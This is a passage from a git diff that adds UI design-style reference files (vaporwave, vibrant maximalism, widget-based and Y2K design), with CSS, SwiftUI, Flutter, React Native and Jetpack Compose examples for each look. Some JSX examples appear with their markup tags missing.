overlays. +3. **Collage Aesthetic**: Mixing classical art (Roman busts), early 3D renders (checkerboard floors), and Japanese text (Kanji/Katakana). + +## Visual DNA +- **Colors**: Cyan (`#00FFFF`), Magenta (`#FF00FF`), Lavender (`#E6E6FA`), and classic Windows Grey (`#C0C0C0`). +- **Typography**: `MS Sans Serif`, `Tahoma`, or pixel fonts. Fullwidth characters (AESTHETIC) are highly encouraged for headers. +- **Styling**: Hard, 1px outsets and insets to simulate 90s 3D buttons. + +## Web Implementation +- Use standard CSS borders to create the classic 90s button look. +- **CSS Example**: +```css +body { + background: linear-gradient(180deg, #ff99cc 0%, #99ccff 100%); + color: #000; + font-family: 'Tahoma', sans-serif; + min-height: 100vh; +} + +/* Windows 95 Style Window */ +.vapor-window { + background-color: #C0C0C0; + border: 2px outset #fff; + border-right-color: #808080; + border-bottom-color: #808080; + width: 400px; + padding: 2px; +} + +.vapor-titlebar { + background: linear-gradient(90deg, #000080, #1084d0); + color: white; + font-weight: bold; + padding: 4px 8px; + display: flex; + justify-content: space-between; +} + +.vapor-button { + background-color: #C0C0C0; + border: 2px outset #fff; + border-right-color: #808080; + border-bottom-color: #808080; + padding: 4px 12px; +} +.vapor-button:active { + border-style: inset; +} + +/* The iconic vaporwave sun/grid */ +.vapor-sun { + width: 200px; height: 200px; + background: linear-gradient(to bottom, #ff00ff, #ffff00); + border-radius: 50%; + box-shadow: 0 0 20px #ff00ff; +} +``` + +## App Implementation + +### SwiftUI +```swift +struct VaporwaveView: View { + var body: some View { + ZStack { + // Neon Gradient Background + LinearGradient(colors: [Color(hex: "ff99cc"), Color(hex: "99ccff")], startPoint: .top, endPoint: .bottom) + .ignoresSafeArea() + + // Win95 Window + VStack(spacing: 0) { + // Title Bar + HStack { + Text("AESTHETIC.exe") + .font(.system(size: 14, weight: .bold, design: .monospaced)) + .foregroundColor(.white) + Spacer() + Text("X") + .font(.system(size: 12, weight: .bold)) + .padding(.horizontal, 6) + .background(Color(hex: "C0C0C0")) + .border(.white, width: 1) // Faux 3D + } + .padding(4) + .background(LinearGradient(colors: [Color(hex: "000080"), Color(hex: "1084d0")], startPoint: .leading, endPoint: .trailing)) + + // Content + VStack { + Text("It's all in your head.") + .font(.custom("Tahoma", size: 16)) + .padding() + + // Win95 Button + Button(action: {}) { + Text("OK") + .foregroundColor(.black) + .padding(.horizontal, 24) + .padding(.vertical, 8) + } + .background(Color(hex: "C0C0C0")) + // Complex borders to simulate Outset + .overlay( + Rectangle().stroke(Color.black, lineWidth: 1) // Outer bottom/right + ) + .overlay( + Rectangle().stroke(Color.white, lineWidth: 1).padding(1) // Inner top/left + ) + } + .frame(maxWidth: .infinity) + .padding(16) + .background(Color(hex: "C0C0C0")) + } + .frame(width: 300) + // Outset border for window + .border(Color(hex: "808080"), width: 2) + .padding() + } + } +} +``` +- You cannot use `.cornerRadius()` anywhere in Vaporwave design. +- The Win95 3D bevel is achieved by stacking `.border()` and `.overlay(Rectangle().stroke())` with different colors (white for top/left, dark gray for bottom/right). + +### Flutter +```dart +class VaporwaveScreen extends StatelessWidget { + @override + Widget build(BuildContext context) { + return Scaffold( + body: Container( + decoration: const BoxDecoration( + gradient: LinearGradient(begin: Alignment.topCenter, end: Alignment.bottomCenter, colors: [Color(0xFFFF99CC), Color(0xFF99CCFF)]), + ), + child: Center( + child: Container( + width: 300, + decoration: const BoxDecoration( + color: Color(0xFFC0C0C0), + // Classic Win95 Outset Border + border: Border( + top: BorderSide(color: Colors.white, width: 2), + left: BorderSide(color: Colors.white, width: 2), + bottom: BorderSide(color: Color(0xFF808080), width: 2), + right: BorderSide(color: Color(0xFF808080), width: 2), + ), + ), + child: Column( + mainAxisSize: MainAxisSize.min, + children: [ + // Title Bar + Container( + padding: const EdgeInsets.symmetric(horizontal: 4, vertical: 2), + margin: const EdgeInsets.all(2), + decoration: const BoxDecoration(gradient: LinearGradient(colors: [Color(0xFF000080), Color(0xFF1084D0)])), + child: Row( + mainAxisAlignment: MainAxisAlignment.spaceBetween, + children: [ + const Text('AESTHETIC.exe', style: TextStyle(color: Colors.white, fontWeight: FontWeight.bold)), + Container(color: const Color(0xFFC0C0C0), padding: const EdgeInsets.symmetric(horizontal: 4), child: const Text('X', style: TextStyle(fontWeight: FontWeight.bold))), + ], + ), + ), + // Content + Padding( + padding: const EdgeInsets.all(16.0), + child: Column( + children: [ + const Text('nostalgia.sys loaded.', style: TextStyle(fontFamily: 'Tahoma')), + const SizedBox(height: 16), + // Outset Button + Container( + padding: const EdgeInsets.symmetric(horizontal: 24, vertical: 8), + decoration: const BoxDecoration( + color: Color(0xFFC0C0C0), + border: Border( + top: BorderSide(color: Colors.white, width: 2), left: BorderSide(color: Colors.white, width: 2), + bottom: BorderSide(color: Color(0xFF808080), width: 2), right: BorderSide(color: Color(0xFF808080), width: 2), + ), + ), + child: const Text('OK'), + ) + ], + ), + ) + ], + ), + ), + ), + ), + ); + } +} +``` +- Flutter's `BoxDecoration` supports complex `Border` definitions where you can set `BorderSide` colors independently. This perfectly recreates CSS `outset` / `inset`. + +### React Native +```jsx +const VaporwaveScreen = () => { + return ( + + + {/* Window */} + + + {/* Title Bar */} + + AESTHETIC.exe + X + + + + nostalgia.sys + + {/* Outset Button */} + + OK + + + + + + + ); +}; +``` +- Use independent border color styles (`borderTopColor: '#FFF'`, `borderBottomColor: '#808080'`) to build 90s OS chroming. +- Make sure to use Japanese fullwidth characters for text for maximum vaporwave aesthetic. + +### Jetpack Compose +```kotlin +@Composable +fun VaporwaveScreen() { + Box( + modifier = Modifier + .fillMaxSize() + .background(Brush.verticalGradient(listOf(Color(0xFFFF99CC), Color(0xFF99CCFF)))), + contentAlignment = Alignment.Center + ) { + // Window + Column( + modifier = Modifier + .width(300.dp) + // Custom drawn Outset border + .drawBehind { + val stroke = 4f + // Bottom/Right (Dark) + drawLine(Color(0xFF808080), Offset(0f, size.height), Offset(size.width, size.height), stroke) + drawLine(Color(0xFF808080), Offset(size.width, 0f), Offset(size.width, size.height), stroke) + // Top/Left (Light) + drawLine(Color.White, Offset(0f, 0f), Offset(size.width, 0f), stroke) + drawLine(Color.White, Offset(0f, 0f), Offset(0f, size.height), stroke) + } + .background(Color(0xFFC0C0C0)) + .padding(2.dp) + ) { + // Title Bar + Row( + modifier = Modifier + .fillMaxWidth() + .background(Brush.horizontalGradient(listOf(Color(0xFF000080), Color(0xFF1084D0)))) + .padding(4.dp), + horizontalArrangement = Arrangement.SpaceBetween + ) { + Text("AESTHETIC.exe", color = Color.White, fontWeight = FontWeight.Bold) + Box(modifier = Modifier.background(Color(0xFFC0C0C0)).padding(horizontal = 4.dp)) { + Text("X", fontWeight = FontWeight.Bold) + } + } + + // Content + Column(modifier = Modifier.fillMaxWidth().padding(16.dp), horizontalAlignment = Alignment.CenterHorizontally) { + Text("Welcome to the 90s.", fontFamily = FontFamily.Monospace) + Spacer(Modifier.height(16.dp)) + + // Win95 Button + Box( + modifier = Modifier + .clickable { } + .drawBehind { + val stroke = 4f + drawLine(Color(0xFF808080), Offset(0f, size.height), Offset(size.width, size.height), stroke) + drawLine(Color(0xFF808080), Offset(size.width, 0f), Offset(size.width, size.height), stroke) + drawLine(Color.White, Offset(0f, 0f), Offset(size.width, 0f), stroke) + drawLine(Color.White, Offset(0f, 0f), Offset(0f, size.height), stroke) + } + .padding(horizontal = 24.dp, vertical = 8.dp) + ) { + Text("OK", fontWeight = FontWeight.Bold) + } + } + } + } +} +``` +- Compose's `Modifier.border` draws on all sides equally. To achieve the 90s outset look, you must use `Modifier.drawBehind` and manually draw the top/left lines in white and bottom/right lines in dark gray. + +## Do's and Don'ts +- **DO**: Use authentic 90s icons (pixelated hourglasses, folders, error dialogs). +- **DON'T**: Use modern drop shadows or rounded corners. The 90s UI was sharp and jagged. + +## Limitations +- This is a styling reference and does not replace environment-specific validation, accessibility testing, or expert review. +- Ensure appropriate contrast ratios and responsive behaviors are verified separately. diff --git a/antigravity-awesome-skills/skills/design-it/vibrant-maximalism/SKILL.md b/antigravity-awesome-skills/skills/design-it/vibrant-maximalism/SKILL.md new file mode 100644 index 00000000..86238a18 --- /dev/null +++ b/antigravity-awesome-skills/skills/design-it/vibrant-maximalism/SKILL.md @@ -0,0 +1,291 @@ +--- +name: vibrant-maximalism +description: Web and App implementation guide for Vibrant Maximalism. Trigger when user wants rich colors, dense layouts, extreme sensory input, and "more is more". +date_added: "2026-06-17" +risk: safe +source: self +source_type: self +--- + +# Vibrant Maximalism + +> "More is more. An explosion of color, pattern, and typography." + + +## When to Use +Use this sub-style when the user's request matches the aesthetic described above. This is a child reference of the `design-it` skill and is not meant to be triggered directly. + +## Core Principles +1. **Sensory Overload**: Every pixel is doing something. Patterns on top of gradients on top of photos. +2. **Clashing Colors**: Forget the standard rules of color harmony. Pair neon green with hot pink, or bright orange with electric blue. +3. **Multiple Fonts**: Mix 3 or 4 completely different typefaces in the same layout. + +## Visual DNA +- **Colors**: All of them. Highly saturated, unmuted hues. No calm neutrals allowed. +- **Typography**: A chaotic mix. A massive serif headline, a bubble-letter subhead, and a monospace body text. +- **Visuals**: Stickers, repeating patterns, emojis, 3D renders, and marquee scrolling text. + +## Web Implementation +- **CSS Example**: +```css +body { + /* Complex clashing background */ + background: + radial-gradient(circle at 20% 30%, #FF00FF 0%, transparent 40%), + radial-gradient(circle at 80% 70%, #00FFFF 0%, transparent 40%), + url('checkerboard-pattern.png') repeat; + background-color: #FFFF00; + color: #000; + overflow-x: hidden; +} + +.max-headline { + font-family: 'Anton', sans-serif; + font-size: 8rem; + text-transform: uppercase; + line-height: 0.8; + color: #FF0000; + /* Crazy shadow effect */ + text-shadow: + 4px 4px 0px #000, + 8px 8px 0px #00FFFF, + 12px 12px 0px #FF00FF; + transform: rotate(-3deg); +} + +.max-sticker { + position: absolute; + background: #000; + color: #00FF00; + font-family: monospace; + padding: 10px; + border-radius: 50%; + width: 100px; + height: 100px; + display: flex; + align-items: center; + justify-content: center; + text-align: center; + border: 4px dashed #FF00FF; + animation: spin 10s linear infinite; +} + +@keyframes spin { 100% { transform: rotate(360deg); } } + +.max-card { + background: rgba(255, 255, 255, 0.9); + border: 5px solid #000; + box-shadow: 10px 10px 0px #0000FF; + padding: 40px; + border-radius: 0 40px 0 40px; /* Weird asymmetrical corners */ +} +``` + +## App Implementation + +### SwiftUI +```swift +struct VibrantMaximalismView: View { + var body: some View { + ScrollView { + ZStack { + // Chaotic Layered Background + Color(hex: "FFFF00").ignoresSafeArea() // Pure Yellow + + Circle() + .fill(RadialGradient(colors: [Color(hex: "FF00FF"), .clear], center: .center, startRadius: 0, endRadius: 200)) + .frame(width: 400, height: 400) + .offset(x: -100, y: -200) + + Circle() + .fill(RadialGradient(colors: [Color(hex: "00FFFF"), .clear], center: .center, startRadius: 0, endRadius: 200)) + .frame(width: 400, height: 400) + .offset(x: 150, y: 200) + + // Content + VStack(spacing: 40) { + Text("OVERLOAD") + .font(.custom("Anton", size: 80)) + .foregroundColor(Color(hex: "FF0000")) + .shadow(color: .black, radius: 0, x: 4, y: 4) + .shadow(color: Color(hex: "00FFFF"), radius: 0, x: 8, y: 8) + .rotationEffect(.degrees(-3)) + + // Weird shaped card + VStack { + Text("More is more.") + .font(.system(size: 24, weight: .black, design: .monospaced)) + } + .padding(40) + .background(Color.white.opacity(0.9)) + .border(.black, width: 5) + .cornerRadius(40, corners: [.topRight, .bottomLeft]) // Custom corner radius extension needed + .shadow(color: Color(hex: "0000FF"), radius: 0, x: 10, y: 10) + } + } + } + } +} +``` +- Layer multiple `RadialGradient`s in a `ZStack` behind the content to create the complex, clashing color blobs. +- Use multiple hard drop shadows (radius 0, but large X/Y offsets) in clashing colors to build the loud text effect. + +### Flutter +```dart +class VibrantMaximalismScreen extends StatelessWidget { + @override + Widget build(BuildContext context) { + return Scaffold( + body: Stack( + children: [ + // Background Color + Container(color: const Color(0xFFFFFF00)), + // Gradient Blob 1 + Positioned( + top: -100, left: -100, + child: Container( + width: 400, height: 400, + decoration: const BoxDecoration( + shape: BoxShape.circle, + gradient: RadialGradient(colors: [Color(0xFFFF00FF), Colors.transparent]), + ), + ), + ), + + Center( + child: Column( + mainAxisAlignment: MainAxisAlignment.center, + children: [ + Transform.rotate( + angle: -0.05, // Slight tilt + child: const Text( + 'OVERLOAD', + style: TextStyle( + fontFamily: 'Anton', fontSize: 80, color: Color(0xFFFF0000), + shadows: [ + Shadow(color: Colors.black, offset: Offset(4, 4)), + Shadow(color: Color(0xFF00FFFF), offset: Offset(8, 8)), + ] + ), + ), + ), + const SizedBox(height: 40), + + // Weird asymmetrical card + Container( + padding: const EdgeInsets.all(40), + decoration: BoxDecoration( + color: Colors.white.withOpacity(0.9), + border: Border.all(color: Colors.black, width: 5), + borderRadius: const BorderRadius.only(topRight: Radius.circular(40), bottomLeft: Radius.circular(40)), + boxShadow: const [BoxShadow(color: Color(0xFF0000FF), offset: Offset(10, 10))], + ), + child: const Text('More is more.', style: TextStyle(fontFamily: 'Courier', fontSize: 24, fontWeight: FontWeight.bold)), + ) + ], + ), + ), + ], + ), + ); + } +} +``` +- Flutter's `Stack` with `Positioned` widgets lets you throw clashing radial gradients anywhere on the screen easily. +- Apply `BorderRadius.only` to create bizarre, asymmetrical containers that break typical UI norms. + +### React Native +```jsx +const VibrantMaximalismScreen = () => { + return ( + + + {/* Emulating radial blobs in RN usually requires SVG or ImageBackground. For simplicity, we use absolute views here */} + + + + + {/* Loud Text */} + + OVERLOAD + + + {/* Asymmetrical Card */} + + More is more. + + + + + ); +}; +``` +- Use `textShadowRadius: 0` to create hard, offset, brutalist-style text shadows in clashing colors (e.g. Red text with a Cyan hard shadow). +- Apply `transform: [{ rotate: '-3deg' }]` to break alignment intentionally. + +### Jetpack Compose +```kotlin +@Composable +fun VibrantMaximalismScreen() { + Box(modifier = Modifier.fillMaxSize().background(Color(0xFFFFFF00))) { + + // Emulated Radial Gradients + Box(modifier = Modifier.offset(x = (-100).dp, y = (-100).dp).size(400.dp).background(Brush.radialGradient(listOf(Color(0xFFFF00FF), Color.Transparent)))) + Box(modifier = Modifier.offset(x = 100.dp, y = 300.dp).size(400.dp).background(Brush.radialGradient(listOf(Color(0xFF00FFFF), Color.Transparent)))) + + Column( + modifier = Modifier.fillMaxSize().padding(40.dp), + horizontalAlignment = Alignment.CenterHorizontally, + verticalArrangement = Arrangement.Center + ) { + // Rotated Headline + Text( + text = "OVERLOAD", + fontSize = 80.sp, + fontFamily = FontFamily.SansSerif, // Replace with Anton + color = Color(0xFFFF0000), + modifier = Modifier.rotate(-3f), + style = TextStyle( + shadow = Shadow(color = Color(0xFF00FFFF), offset = Offset(16f, 16f), blurRadius = 0f) + ) + ) + + Spacer(Modifier.height(60.dp)) + + // Asymmetrical Card + Box( + modifier = Modifier + .shadow(elevation = 0.dp) // Reset default shadow + // Custom hard shadow trick: draw the shadow shape first + .offset(10.dp, 10.dp) + .background(Color(0xFF0000FF), RoundedCornerShape(topEnd = 40.dp, bottomStart = 40.dp)) + .offset((-10).dp, (-10).dp) + .background(Color.White.copy(alpha = 0.9f), RoundedCornerShape(topEnd = 40.dp, bottomStart = 40.dp)) + .border(5.dp, Color.Black, RoundedCornerShape(topEnd = 40.dp, bottomStart = 40.dp)) + .padding(40.dp) + ) { + Text("More is more.", fontFamily = FontFamily.Monospace, fontSize = 24.sp, fontWeight = FontWeight.Black) + } + } + } +} +``` +- `Brush.radialGradient` works perfectly for dropping color blobs into the background. +- Compose's default `shadow` modifier blurs edges. To get a hard, brutalist shadow in Compose, render an identical shape offset behind the main shape with a solid color. + +## Do's and Don'ts +- **DO**: Break the grid. Let elements overlap awkwardly. +- **DON'T**: Use whitespace. If there is an empty area, fill it with a pattern, a marquee, or a giant emoji. + +## Limitations +- This is a styling reference and does not replace environment-specific validation, accessibility testing, or expert review. +- Ensure appropriate contrast ratios and responsive behaviors are verified separately. diff --git a/antigravity-awesome-skills/skills/design-it/widget-based-design/SKILL.md b/antigravity-awesome-skills/skills/design-it/widget-based-design/SKILL.md new file mode 100644 index 00000000..88ff7525 --- /dev/null +++ b/antigravity-awesome-skills/skills/design-it/widget-based-design/SKILL.md @@ -0,0 +1,274 @@ +--- +name: widget-based-design +description: Web and App implementation guide for Widget-Based Design. Trigger when user wants modular blocks, iOS Home Screen aesthetics, and customizable mini-apps. +date_added: "2026-06-17" +risk: safe +source: self +source_type: self +--- + +# Widget-Based Design + +> "Miniature applications. Small, highly functional blocks of UI designed to be rearranged." + + +## When to Use +Use this sub-style when the user's request matches the aesthetic described above. This is a child reference of the `design-it` skill and is not meant to be triggered directly. + +## Core Principles +1. **Strict Aspect Ratios**: Widgets usually follow strict sizes (1x1 square, 2x1 rectangle, 2x2 large square). +2. **Glanceability**: Widgets show the most important piece of data instantly. Deep interaction usually requires opening the full app. +3. **Corner Radius Match**: The inner content's border radius should perfectly nest within the widget's outer border radius. + +## Visual DNA +- **Colors**: Widgets often use bright, solid color backgrounds or full-bleed photos to differentiate themselves. +- **Typography**: Large, bold numbers (like a clock or weather temp) paired with tiny sub-labels. +- **Layout**: Similar to Bento UI, but specifically focused on functional app-lets rather than just content layout. + +## Web Implementation +- **CSS Example**: +```css +.widget-grid { + display: grid; + grid-template-columns: repeat(auto-fill, minmax(160px, 1fr)); + grid-auto-rows: 160px; /* Force squares */ + gap: 16px; + padding: 32px; +} + +.widget { + background-color: #ffffff; + border-radius: 24px; /* Classic iOS widget radius */ + box-shadow: 0 8px 24px rgba(0,0,0,0.08); + padding: 16px; + display: flex; + flex-direction: column; + justify-content: space-between; + overflow: hidden; + position: relative; +} + +/* Specific Sizes */ +.widget-small { grid-column: span 1; grid-row: span 1; } +.widget-medium { grid-column: span 2; grid-row: span 1; } +.widget-large { grid-column: span 2; grid-row: span 2; } + +/* Weather Widget Example */ +.widget.weather { + background: linear-gradient(135deg, #4facfe 0%, #00f2fe 100%); + color: white; +} +.weather-temp { font-size: 3rem; font-weight: 300; } +.weather-icon { position: absolute; top: 16px; right: 16px; font-size: 2rem; } +``` + +## App Implementation + +### SwiftUI +```swift +struct WidgetDesignView: View { + let columns = [GridItem(.flexible(), spacing: 16), GridItem(.flexible(), spacing: 16)] + + var body: some View { + ScrollView { + LazyVGrid(columns: columns, spacing: 16) { + // 2x1 Widget + WeatherWidget() + .frame(height: 160) // Base unit height + + // 1x1 Widget + FitnessWidget() + .frame(height: 160) + + // 1x1 Widget + MusicWidget() + .frame(height: 160) + } + .padding(24) + } + .background(Color(white: 0.95)) + } +} + +struct WeatherWidget: View { + var body: some View { + ZStack(alignment: .topTrailing) { + LinearGradient(colors: [Color(hex: "4facfe"), Color(hex: "00f2fe")], startPoint: .topLeading, endPoint: .bottomTrailing) + + Image(systemName: "cloud.sun.fill") + .foregroundColor(.white) + .font(.system(size: 40)) + .padding() + + VStack(alignment: .leading) { + Spacer() + Text("72°") + .font(.system(size: 48, weight: .thin)) + .foregroundColor(.white) + Text("San Francisco") + .font(.subheadline) + .foregroundColor(.white.opacity(0.8)) + } + .frame(maxWidth: .infinity, alignment: .leading) + .padding() + } + .cornerRadius(24) // Classic iOS widget radius + .shadow(color: .black.opacity(0.1), radius: 10, y: 5) + } +} +``` +- SwiftUI is perfect for this. The `LazyVGrid` handles the layout, and `cornerRadius(24)` matches Apple's default widget styling perfectly. +- Use `ZStack` as the root of the widget to easily overlay content on top of complex gradients or images. + +### Flutter +```dart +class WidgetDesignScreen extends StatelessWidget { + @override + Widget build(BuildContext context) { + return Scaffold( + backgroundColor: const Color(0xFFF2F2F2), + body: GridView.count( + crossAxisCount: 2, // 2 columns for a typical phone + padding: const EdgeInsets.all(24), + mainAxisSpacing: 16, + crossAxisSpacing: 16, + childAspectRatio: 1.0, // 1x1 squares + children: [ + // Note: Flutter GridView doesn't easily span rows/cols out of the box. + // flutter_staggered_grid_view is highly recommended for real widget layouts. + _buildWeatherWidget(), + _buildFitnessWidget(), + _buildMusicWidget(), + ], + ), + ); + } + + Widget _buildWeatherWidget() { + return Container( + decoration: BoxDecoration( + borderRadius: BorderRadius.circular(24), + gradient: const LinearGradient(colors: [Color(0xFF4FACFE), Color(0xFF00F2FE)]), + boxShadow: [BoxShadow(color: Colors.black.withOpacity(0.1), blurRadius: 10, offset: const Offset(0, 5))], + ), + padding: const EdgeInsets.all(16), + child: Stack( + children: [ + const Align( + alignment: Alignment.topRight, + child: Icon(Icons.cloud, color: Colors.white, size: 40), + ), + Align( + alignment: Alignment.bottomLeft, + child: Column( + mainAxisSize: MainAxisSize.min, + crossAxisAlignment: CrossAxisAlignment.start, + children: [ + const Text('72°', style: TextStyle(color: Colors.white, fontSize: 48, fontWeight: FontWeight.w300)), + Text('San Francisco', style: TextStyle(color: Colors.white.withOpacity(0.8), fontSize: 14)), + ], + ), + ) + ], + ), + ); + } +} +``` +- A `Stack` inside a `Container` with `BorderRadius.circular(24)` is the blueprint for every widget. +- Standard `GridView` is too rigid for mixed 2x1 and 1x1 widgets. Use the `flutter_staggered_grid_view` package for production apps. + +### React Native +```jsx +const WidgetDesignScreen = () => { + return ( + + + + {/* 2x1 Widget (Full width minus padding) */} + + + 72° + San Francisco + + + {/* 1x1 Widgets (Half width minus half gap) */} + Fitness + Music + + + + ); +}; + +const styles = StyleSheet.create({ + widget: { + height: 160, // Fixed height forces square/rectangular aspect ratios + borderRadius: 24, + backgroundColor: '#FFF', + padding: 16, + justifyContent: 'flex-end', + shadowColor: '#000', shadowOffset: { width: 0, height: 5 }, shadowOpacity: 0.1, shadowRadius: 10, elevation: 5, + overflow: 'hidden' + }, + widgetBg: { + ...StyleSheet.absoluteFillObject, + borderRadius: 24, + }, + temp: { fontSize: 48, fontWeight: '300', color: '#FFF' }, + sub: { fontSize: 14, color: 'rgba(255,255,255,0.8)' } +}); +``` +- In React Native, `flexWrap: 'wrap'` combined with percentage widths (e.g., `47%` for 2 columns with a gap) is the cleanest way to build a responsive widget layout. +- If using `LinearGradient` from `expo-linear-gradient` or `react-native-linear-gradient`, apply `StyleSheet.absoluteFillObject` so it sits behind the text. + +### Jetpack Compose +```kotlin +@Composable +fun WidgetDesignScreen() { + LazyVerticalGrid( + columns = GridCells.Fixed(2), + modifier = Modifier.fillMaxSize().background(Color(0xFFF2F2F2)).padding(24.dp), + horizontalArrangement = Arrangement.spacedBy(16.dp), + verticalArrangement = Arrangement.spacedBy(16.dp) + ) { + // 2x1 Widget (Spans both columns) + item(span = { GridItemSpan(2) }) { + WeatherWidget(Modifier.height(160.dp)) + } + // 1x1 Widgets + item { Box(Modifier.height(160.dp).background(Color.White, RoundedCornerShape(24.dp))) } + item { Box(Modifier.height(160.dp).background(Color.White, RoundedCornerShape(24.dp))) } + } +} + +@Composable +fun WeatherWidget(modifier: Modifier = Modifier) { + Box( + modifier = modifier + .fillMaxWidth() + .shadow(10.dp, RoundedCornerShape(24.dp)) + .background(Brush.linearGradient(listOf(Color(0xFF4FACFE), Color(0xFF00F2FE))), RoundedCornerShape(24.dp)) + .padding(16.dp) + ) { + // Icon + Icon(Icons.Filled.Cloud, contentDescription = null, tint = Color.White, modifier = Modifier.align(Alignment.TopEnd).size(40.dp)) + + // Data + Column(modifier = Modifier.align(Alignment.BottomStart)) { + Text("72°", fontSize = 48.sp, fontWeight = FontWeight.Light, color = Color.White) + Text("San Francisco", fontSize = 14.sp, color = Color.White.copy(alpha = 0.8f)) + } + } +} +``` +- `LazyVerticalGrid` with `GridCells.Fixed(2)` and `GridItemSpan` perfectly recreate iOS widget grids. +- `RoundedCornerShape(24.dp)` is essential to sell the look. + +## Do's and Don'ts +- **DO**: Use full-bleed background colors to make different widgets stand out. +- **DON'T**: Put complex forms or scrollable lists inside a 1x1 widget. + +## Limitations +- This is a styling reference and does not replace environment-specific validation, accessibility testing, or expert review. +- Ensure appropriate contrast ratios and responsive behaviors are verified separately. diff --git a/antigravity-awesome-skills/skills/design-it/y2k-design/SKILL.md b/antigravity-awesome-skills/skills/design-it/y2k-design/SKILL.md new file mode 100644 index 00000000..471c4366 --- /dev/null +++ b/antigravity-awesome-skills/skills/design-it/y2k-design/SKILL.md @@ -0,0 +1,268 @@ +--- +name: y2k-design +description: Web and App implementation guide for Y2K Design. Trigger when user wants chrome effects, futuristic 2000s look, blob shapes, and tech optimism. +date_added: "2026-06-17" +risk: safe +source: self +source_type: self +--- + +# Y2K Design + +> "The optimistic, shiny future as imagined in 1999. Chrome, blobs, and alien tech." + + +## When to Use +Use this sub-style when the user's request matches the aesthetic described above. This is a child reference of the `design-it` skill and is not meant to be triggered directly. + +## Core Principles +1. **Metallic & Chrome Effects**: Extensive use of silver, chrome, and shiny metallic gradients. +2. **Organic, Amorphous Shapes**: "Blob" architecture, curved intersecting lines, and liquid-like forms. +3. **Tech-Optimism**: Circuit board motifs, target crosshairs, and digital grid backgrounds. + +## Visual DNA +- **Colors**: Silver/chrome, bright cyan, hot pink, lime green. **Industrial Chic** mixed with neon accents works well. +- **Typography**: Extended (wide) sans-serifs, pixel fonts, or futuristic/alien display fonts (e.g., `Orbitron`, `Syncopate`). +- **Styling**: Outer glows, metallic bevels, and starry glints (sparkles). + +## Web Implementation +- Rely heavily on complex linear and radial gradients to simulate shiny metal. +- **CSS Example**: +```css +body { + background-color: #000000; + /* Digital grid background */ + background-image: linear-gradient(#333 1px, transparent 1px), + linear-gradient(90deg, #333 1px, transparent 1px); + background-size: 20px 20px; + color: #ffffff; + font-family: 'Syncopate', sans-serif; +} + +.y2k-chrome-text { + font-size: 4rem; + font-weight: 900; + text-transform: uppercase; + + /* Chrome gradient effect */ + background: linear-gradient( + to bottom, + #ffffff 0%, + #999999 45%, + #222222 50%, + #cccccc 55%, + #ffffff 100% + ); + -webkit-background-clip: text; + -webkit-text-fill-color: transparent; + + /* Outer glow */ + filter: drop-shadow(0 0 10px rgba(0, 255, 255, 0.5)); +} + +.y2k-blob-btn { + background: linear-gradient(135deg, #00FFFF, #FF00FF); + border: none; + border-radius: 50% 20% / 10% 40%; /* Amorphous blob shape */ + padding: 20px 40px; + color: #fff; + font-weight: bold; + text-shadow: 1px 1px 2px #000; + box-shadow: 0 0 15px #FF00FF; +} +``` + +## App Implementation + +### SwiftUI +```swift +struct Y2KDesignView: View { + // Chrome Gradient + let chromeGradient = LinearGradient( + colors: [Color.white, Color(white: 0.6), Color(white: 0.2), Color(white: 0.8), Color.white], + startPoint: .top, + endPoint: .bottom + ) + + var body: some View { + ZStack { + Color.black.ignoresSafeArea() + + VStack(spacing: 40) { + // Chrome Text + Text("Y2K FUTURE") + .font(.custom("Syncopate-Bold", size: 48)) + .foregroundStyle(chromeGradient) + // Cyan glow + .shadow(color: Color(hex: "00FFFF"), radius: 10, x: 0, y: 0) + + // Blob Button (Faked with Capsule in standard SwiftUI, requires Path for true blob) + Button(action: {}) { + Text("ENTER CORE") + .font(.custom("Orbitron-Bold", size: 20)) + .foregroundColor(.white) + .padding(.vertical, 20) + .padding(.horizontal, 40) + .background(LinearGradient(colors: [Color(hex: "00FFFF"), Color(hex: "FF00FF")], startPoint: .topLeading, endPoint: .bottomTrailing)) + .clipShape(Capsule()) + // Glow + .shadow(color: Color(hex: "FF00FF").opacity(0.8), radius: 15, x: 0, y: 0) + } + } + } + } +} +``` +- SwiftUI's `.foregroundStyle()` makes applying a complex multi-stop `LinearGradient` to text trivial, which is exactly how you build the Chrome Text effect. +- Add an un-offset `.shadow()` with a neon color to create the Y2K outer glow. + +### Flutter +```dart +class Y2KDesignScreen extends StatelessWidget { + @override + Widget build(BuildContext context) { + return Scaffold( + backgroundColor: Colors.black, + body: Center( + child: Column( + mainAxisAlignment: MainAxisAlignment.center, + children: [ + // Chrome Text via ShaderMask + ShaderMask( + shaderCallback: (bounds) => const LinearGradient( + begin: Alignment.topCenter, end: Alignment.bottomCenter, + colors: [Colors.white, Color(0xFF999999), Color(0xFF222222), Color(0xFFCCCCCC), Colors.white], + stops: [0.0, 0.45, 0.5, 0.55, 1.0], + ).createShader(bounds), + child: const Text( + 'Y2K FUTURE', + style: TextStyle( + fontFamily: 'Syncopate', fontSize: 48, fontWeight: FontWeight.w900, color: Colors.white, + shadows: [Shadow(color: Color(0xFF00FFFF), blurRadius: 20)], // Glow + ), + ), + ), + const SizedBox(height: 40), + + // Neon Button + Container( + decoration: BoxDecoration( + gradient: const LinearGradient(colors: [Color(0xFF00FFFF), Color(0xFFFF00FF)]), + borderRadius: BorderRadius.circular(50), + boxShadow: const [BoxShadow(color: Color(0xFFFF00FF), blurRadius: 20)], + ), + child: ElevatedButton( + onPressed: () {}, + style: ElevatedButton.styleFrom( + backgroundColor: Colors.transparent, shadowColor: Colors.transparent, + padding: const EdgeInsets.symmetric(horizontal: 40, vertical: 20), + ), + child: const Text('ENTER CORE', style: TextStyle(fontFamily: 'Orbitron', fontSize: 20, color: Colors.white)), + ), + ) + ], + ), + ), + ); + } +} +``` +- You MUST use `ShaderMask` with a complex multi-stop `LinearGradient` to render the metallic chrome effect on text in Flutter. +- The `stops` property `[0.0, 0.45, 0.5, 0.55, 1.0]` is the secret to a good metal gradient: a sharp contrast right in the middle simulates the horizon reflection on a cylinder. + +### React Native +```jsx +// REQUIRES: @react-native-masked-view/masked-view and react-native-linear-gradient +import MaskedView from '@react-native-masked-view/masked-view'; +import LinearGradient from 'react-native-linear-gradient'; + +const Y2KDesignScreen = () => { + return ( + + + {/* Chrome Text */} + + Y2K FUTURE} + > + + + + + {/* Neon Gradient Button */} + + + ENTER CORE + + + + + ); +}; +``` +- In React Native, you need the community `MaskedView` to apply a gradient to text. Create the `` in the `maskElement` prop, and put the `` inside as a child. +- Pass `locations` to the gradient to create the sharp metallic reflection line. + +### Jetpack Compose +```kotlin +@Composable +fun Y2KDesignScreen() { + Box( + modifier = 